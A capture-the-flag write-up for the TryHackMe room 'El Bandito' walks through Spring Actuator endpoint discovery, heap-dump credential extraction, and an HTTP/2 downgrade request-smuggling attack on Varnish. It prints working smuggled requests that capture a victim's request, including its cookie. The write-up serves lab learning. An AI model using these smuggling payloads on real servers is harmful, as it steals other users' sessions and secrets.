TryHackMe - El Bandito¶

Introduction¶

OS: N/A

URL: El Bandito

Level: Hard

A room mainly focused on Request Smuggling.

- Websocket smuggling using a SSRF vulnaribility to get connection upgrade to bypass NGINX 403 filters
- Reuse the credentials to login to the chat application
- Request Smuggling via HTTP/2 Downgrades (HTTP2 desync attack) to leak user requests and find the flag.

Recon¶

First we start Off with a Nmap Scan to check for open ports and services running on the machine.

We have 4 ports open, 22, 80, 631, 8080. Oddly enough port 80 is running an SSL web server instead of the usual HTTP.

Port 8080 http-favicon reveals that it is running a Spring Java Framework.

let's keep 631 aside for now and comeback to it later if we run out of options.

Web Applications¶

Port 80¶

Visiting the web application on port 80 we just get a page with nothing to see here message.

but taking a look at it's source we see that it links a JS file messages.js.

taking a look at the source it reveals us few endpoints.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

[..SNIP..]
// Function to fetch messages from the server
function fetchMessages() {
    fetch("/getMessages")
        .then((response) => {
            if (!response.ok) {
                throw new Error("Failed to fetch messages");
            }
            return response.json();
        })
[..SNIP..]

fetch("/send_message", {
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded",
    },
    body: "data="+messageText
})
    .then((response) => {
        if (!response.ok) {
            throw new Error("Network response was not ok");
        }
        console.log("Message sent successfully");
    })
    .catch((error) => {
        console.error("Error sending message:", error);
        // Handle error (e.g., display error message to the user)
    });

/send_message only allows POST requests and requires authentication.

/getMessages Also requires authentication and returns us a Login Prompt.

Since it looks like a custom application and do not know any credentials, let's move on to the next port.

Port 8080¶

The website on port 8080 looks mostly to be a static website with a few pages.

If we take a close look at the /burn.html it tries and fails to load two resources app.js and a websocket connection. But this was of no importance.

Directory Bruteforce¶

Since we have already identified that the application on port 8080 is running a Spring Java Framework, we can use gobuster to bruteforce directories.

SecLists already has a curated directory list for Spring Framework which we can use.

We have found a few interesting endpoints, /heapdump and /mappings.

mappings¶

/mappings returns us list of all the endpoints with their methods allowed.

[...SNIP...]
"{[/admin-creds],methods=[GET]}": {
  "bean": "requestMappingHandlerMapping",
  "method": "public org.springframework.http.ResponseEntity<java.lang.String> net.thm.websocket.config.AdminController.adminCreds()"
},
"{[/admin-flag],methods=[GET]}": {
  "bean": "requestMappingHandlerMapping",
  "method": "public org.springframework.http.ResponseEntity<java.lang.String> net.thm.websocket.config.AdminController.adminFlag()"
}
[...SNIP...]

We have two interesting endpoints /admin-creds and /admin-flag.

But Nginx seems to be configured to block any requests that start with /admin.

Request Smuggling¶

We have a reverse proxy Nginx in this case which forwards the request to JAVA Spring Boot.

To successfully smuggle a request we need to find the differences in HTTP protocol implementation of these two applications.

You can read more about request smuggling here

But in this case there is a better attack method available.

If you access /services.html

Back to Port 80¶

Now that we have the credentials, lets login to the chat application on port 80.

I ran a gobuster dir scan again and found few more endpoints.

• GET: /messages - Chat app home page
• GET: /getMessages - returns all the messages
• POST: /send_message - sends a message
• GET: /flush - clears all the messages
• GET: /access - returns the login page or redirects to /messages if already logged in.
• POST: /login - logs in the user
• GET: /logout - logs out the user
• GET: /ping - returns pong

Trying to Identify the application. Once logged in let's intercept the requests to /messages and /send_message (by sending a message) using burpsuite.

The Server header in response says El Bandito Server Looks like the server header was modified to prevent identification.

But take a note that HTTP/2 Protocol is used for /getMessages and /send_message requests.

Let's try to timeout the server by changing the request protocol to HTTP/1.1 and manually setting a larger Content-Length header than the actual message. This will make the server wait for the rest of the message and eventually timeout.

HTTP/2 Desync Attack¶

Now that we know that the application is behind a Varnish Cache, we can try to leak user requests using Request Smuggling via HTTP/2 Downgrade.

This article from Detectify Labs explains the HTTP/2 request smuggling with varnish. But if you're new to Request Smuggling read the below articles to familiarize yourself.

• Detectify Labs Varnish Request smuggling
• Portswigger HTTP/2: The Sequel is Always Worse
• PortSwigger HTTP2 Downgrade
• PortSwigger Request Smuggling
• HackTricks Request Smuggling

We will basically be sending two HTTP requests disguised as one. In this case Varnish cache will treat it as a single request but the underlying application server will see them as two separate requests.

In HTTP/2 protocol, the Content-Length header is not used, but we can still supply it to the server. But when the proxy server (read varnish) forwards this request to the underlying application server it uses HTTP/1.1 protocol which uses the Content-Length header to determine the length of the request body.

This causes the application server to only parse the request till the length specified in the Content-Length header and the rest of the request is treated as a new request.

Now if we set a larger Content-Length on the smuggled request, the application will wait to further receive the message and if someone else sends in a request to the server it will be appended to the request body of our smuggled request.

POST / HTTP/2
Host: 10.10.126.71:80
Content-Length: 4

testPOST /send_message HTTP/1.1
Host: 10.10.126.71:80
Cookie: session=**REDACTED**
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
Te: trailers

data=Hi

In the above request we make a HTTP/2 request with a Content-Length of 4 and then append a HTTP/1.1 request to /send_message with a Content-Length of 7.

Since content length is set ot 4 the application will only parse till test. So only the content inside the red lines will be treated as the first request.

Now immediately the application will try to process any pending requests in this case our smuggled request gets parsed as a separate request.

and since the Content-Length is set to 7 and the length of data=Hi is 7 the application will parse the entire request and if you refresh the /getMessages endpoint you will see the message Hi.

Weaponizing the Smuggled Request¶

Now that we know how to smuggle requests, we can use this to other user requests.

Just by modifying the Content-Length header of the smuggled request we can make the server wait for incoming requests and since our request size is less than the Content-Length the application will either wait till a new requests comes in and append it our message Hi or it will timeout.

After trying for a bit I was able to narrow down the required Content-Length size to 730 to leak the flag in user request.

POST / HTTP/2
Host: 10.10.126.71:80
Content-Length: 4

testPOST /send_message HTTP/1.1
Host: 10.10.126.71:80
Cookie: session=**REDACTED**
Content-Type: application/x-www-form-urlencoded
Content-Length: 730
Te: trailers

data=Hi

HTTP/2 200 OK
Date: Mon, 25 Mar 2024 18:31:27 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 58
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
Feature-Policy: microphone 'none'; geolocation 'none';
Age: 0
Server: El Bandito Server
Accept-Ranges: bytes

nothing to see <script src='/static/messages.js'></script>

Now we can make a request to /getMessages and see the victims request.

GET /getMessages HTTP/2
Host: 10.10.126.71:80
Cookie: session=**REDACTED**
User-Agent: Mozilla/5.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://10.10.126.71:80/messages
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

{
  "JACK":
    [
      "The Galactic Enforcement's quantum sniffers are onto us, tracing our blockchain exploits.",
      [...SNIP...]  
      "HiGET /access HTTP/1.1\r\nhost: bandito.public.thm:80\r\nscheme: https\r\nsec-ch-ua: \"Chromium\";v=\"122\", \"Not(A:Brand\";v=\"24\", \"HeadlessChrome\";v=\"122\"\r\nsec-ch-ua-mobile: ?0\r\nsec-ch-ua-platform: \"Linux\"\r\nupgrade-insecure-requests: 1\r\nuser-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.128 Safari/537.36\r\naccept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\nsec-fetch-site: none\r\nsec-fetch-mode: navigate\r\nsec-fetch-user: ?1\r\nsec-fetch-dest: document\r\naccept-encoding: gzip, deflate, br\r\ncookie: flag=THM{\u00a1!\u00a1**REDACTED**!\u00a1!}\r\nX-Forwarded-For: 172.31.0.1\r\nX-Varn",
    ],
  "OLIVER": [],
}

Now we can just echo -e the request to properly print the flag.

Extras¶

Dumping Flag 1 using heapdump¶

heapdump¶

/heapdump returns us a memory dump file which we can download and analyze.

This article by ar6aaz explains some approaches to analyze the memory dump.

let's first download the heapdump file and extract it.

Now we can use VisualVM to analyze the memory dump.

Let's load the heapdump file in VisualVM and choose the OQL Console.

This will allow us to do almost SQL like queries on the memory dump. Which can then be used to search for strings, objects, etc.

Example:

select s from java.lang.String s where s.toString().contains("QUERY_HERE")

Since we know that the flag is in the format THM{...} we can search for it.

select s from java.lang.String s where s.toString().contains("THM{")

We can also use the Objects tab to look through all the Java objects.

Since the /mappings endpoint revealed us the existence of AdminController we can search for it.

First switch to the Objects tab.

Then search for AdminController

Browsing though the Objects

net.thm.websocket.config.AdminController --> fields --> resolved_references

we can find both the flag and the credentials.